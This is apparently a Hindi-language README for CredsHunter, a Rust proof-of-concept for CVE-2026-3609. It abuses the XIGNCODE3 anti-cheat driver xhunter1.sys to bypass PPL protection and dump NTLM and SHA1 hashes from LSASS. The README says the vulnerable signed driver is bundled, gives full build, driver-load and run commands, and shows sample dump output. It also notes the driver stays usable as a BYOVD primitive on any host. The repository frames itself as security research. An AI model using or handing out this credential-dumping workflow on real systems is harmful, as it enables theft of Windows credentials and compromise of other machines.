CredsHunter

CVE-2026-3609 · विस्तृत विवरण

Wellbia के XIGNCODE3 एंटी-चीट ड्राइवर xhunter1.sys में PPL-बाइपास करने वाले प्रोसेस-हैंडल लीक के लिए LSASS क्रेडेंशियल डंप प्रूफ-ऑफ-कॉन्सेप्ट।

ड्राइवर एक IRP_MJ_WRITE कमांड इंटरफ़ेस उजागर करता है जो ObOpenObjectByPointer को AccessMode = KernelMode के साथ और OBJ_KERNEL_HANDLE के बिना कॉल करता है, जिससे कर्नेल-निर्मित PROCESS_ALL_ACCESS हैंडल सीधे कॉलर की हैंडल तालिका में डाल दिया जाता है। वहाँ से, मानक क्रेडेंशियल-डंपिंग कोड लक्ष्य में से lsasrv.dll की 3DES कुंजी पढ़ता है और हर सक्रिय लॉगऑन सत्र के लिए NTLM + SHA1 हैश पुनर्प्राप्त करता है।

प्रभावित बाइनरी

xhunter1.sys  version 10.0.10011.16384
SHA-256       e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e

इस रिपॉजिटरी में असुरक्षित साइन किया गया ड्राइवर (xhunter1.sys) शामिल है ताकि एक्सप्लॉइट को शुरू से अंत तक दोहराया जा सके। लोड करने से पहले हैश सत्यापित करें:

Get-FileHash .\xhunter1.sys -Algorithm SHA256

नए XIGNCODE3 रिलीज़ पैच किए जा चुके हैं। असुरक्षित साइन किया गया बाइनरी किसी भी होस्ट पर BYOVD प्रिमिटिव के रूप में उपयोगी बना रहता है जहाँ इसे ड्रॉप और लोड किया जा सकता है।

बिल्ड

git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release

रिलीज़ बाइनरी target\release\CredsHunter.exe पर रखी जाती है।

चलाना

बंडल किए गए ड्राइवर को कर्नेल सेवा के रूप में लोड करें (ड्राइवर का डिवाइस DACL चालू होने पर किसी भी कॉलर को अनुमति देता है):

sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter

टूल चलाएँ:

.\target\release\CredsHunter.exe

बाद में सफाई के लिए:

sc stop xhunter
sc delete xhunter

डिफ़ॉल्ट डिवाइस नाम \\.\xhunter है (ऊपर दिए गए उदाहरण सेवा नाम से मेल खाता है)। यदि आपकी सेवा कोई अलग नाम उपयोग करती है, तो डिवाइस पथ उसी के अनुसार होगा — driver::DEFAULT_DEVICE को संपादित करें या तदनुसार Xhunter::open_named कॉल करें।

नमूना आउटपुट

  xhunter1.sys BYOVD — LSASS credential dump
  CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)

[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000  remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x...  3DES 0x...  IV 0x...
[+] 3DES key (24B) ........ <hex>
[+] IV .................... <hex>

===== LogonSessionList =====

[0001] LogonSession @ 0x...
  User   : <username>
  Domain : <domain>
  NTHash : <16 bytes hex>
  SHA1   : <20 bytes hex>

[...]

यह कैसे काम करता है

प्रोजेक्ट संरचना

src/
├── main.rs       # banner, run flow, ExitCode handling
├── driver.rs     # Xhunter, Session, MemReader trait, protocol constants
├── proc.rs       # find_pid, PEB-walk remote module lookup
├── pe.rs         # local PE parsing + pattern scan + RIP decode
├── lsa.rs        # LSA key patterns, BCrypt key extraction, 3DES decrypt
├── logon.rs      # LogonSessionList walker + MSV1_0 offsets
├── wdigest.rs    # WDigest list walker (best-effort)
└── sys.rs        # OS build number

MemReader trait मेमोरी रीड्स को अमूर्त करता है ताकि क्रेडेंशियल-निष्कर्षण मॉड्यूल किसी विशिष्ट ड्राइवर प्रिमिटिव पर निर्भर न हों। ट्रेट को किसी भिन्न रीडर (जैसे Beacon Object File रनटाइम, ptwalk-आधारित phys-mem रीडर) पर लागू करें और lsa / logon / wdigest मॉड्यूल बिना बदलाव के काम कर जाते हैं।

ज्ञात सीमाएँ

• WDigest प्लेनटेक्स्ट पुनर्प्राप्ति best-effort है। list-head सिग्नेचर एक सिंगल बाइट पैटर्न (48 3B D9 74) है जो मूल सार्वजनिक PoC से विरासत में मिला है और Windows 11 build 26100+ के लिए रिफ्रेश नहीं किया गया है। इसे प्रति-बिल्ड तालिका में विस्तारित करना सीधा है; PRs स्वागत योग्य हैं।
• सेवा / डिवाइस नाम xhunter पर हार्डकोड किया गया है। यदि आप ड्राइवर को किसी भिन्न नाम के अंतर्गत लोड करते हैं, तो driver::DEFAULT_DEVICE संपादित करें या Xhunter::open_named को ओवरराइड पास करें।

अस्वीकरण

केवल शोध, अधिकृत परीक्षण और डिफेंसिव टूलिंग के लिए। किसी ऐसे सिस्टम पर असुरक्षित ड्राइवर लोड करना जिसके मालिक आप नहीं हैं या जिसके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है, अधिकांश क्षेत्राधिकारों में अपराध है। लेखक दुरुपयोग के लिए कोई ज़िम्मेदारी स्वीकार नहीं करता है।

लाइसेंस

देखें LICENSE।